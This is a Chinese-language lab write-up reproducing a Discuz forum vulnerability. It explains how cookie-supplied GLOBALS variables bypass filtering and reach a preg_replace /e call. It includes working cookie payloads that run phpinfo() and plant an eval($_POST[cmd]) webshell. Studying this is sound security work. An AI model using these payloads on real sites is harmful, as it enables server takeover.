漏洞复现

这里采用Vulhub漏洞靶场直接一键搭建

漏洞分析

首先先讲一下php中register_globals的功能:官方文档
大概意思就是使用$_GET、$_POST这类提交参数的方法,当register_globals的值为on
提交的参数会直接被注册为全局变量,所以为了安全,php在PHP 4.2.0 起就将默认值改为off
(以上对这个漏洞都没有什么用,看文章看到了,就当写笔记了)

先看看当GPC为off时,dz有一个将$_request中的特殊字符做了转义的函数,
跟GPC为on的作用差不多,代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
include/global.func.php代码里:

function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}

include/common.inc.php里:

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
} //主要是这一段进行了过滤

当然绕过这个过滤很简单:、
直接使用$_GET/$_POST/$_COOKIE这样的变量即可绕过,但是dz里直接使用这些的机会不多,所以需要换一种方法,
再来看看其他地方,
dz中有一段代码是防止当register_globals为on时,dz自身的$_GLOBALS变量被覆盖的情况,
函数代码:

1
2
3
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}

所以这个时候问题来了,$_REQUEST的这个变量是受到php.ini中request_order的影响的,
php5.3.x中,request_order默认值为GP(get和post),没有C,
所以我们可以通过提交C,也就是COOKIE来提交GLOBALS这类的变量了,

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
在include/discuzcode.func.php中

function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode =1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowattachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')) !== FALSE) {
$message = preg_replace("/s?[code](.+?)[/code]s?/ies", "codedisp('\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
$message = $jammer ? preg_replace("/rn|n|r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspecialchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smilies'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOBALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
}

其中

1
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

的preg_replace可以执行命令

随便打开一篇管理员发布的帖子(试了试自己发的帖子貌似不行),然后抓包将:

1
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

添加进cookie:

可以看到已经成功的执行了phpinfo,一句话的话换成:

1
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[cmd])%3B

即可拿到shell

利用条件

  • 当然是request_order值为GP啦~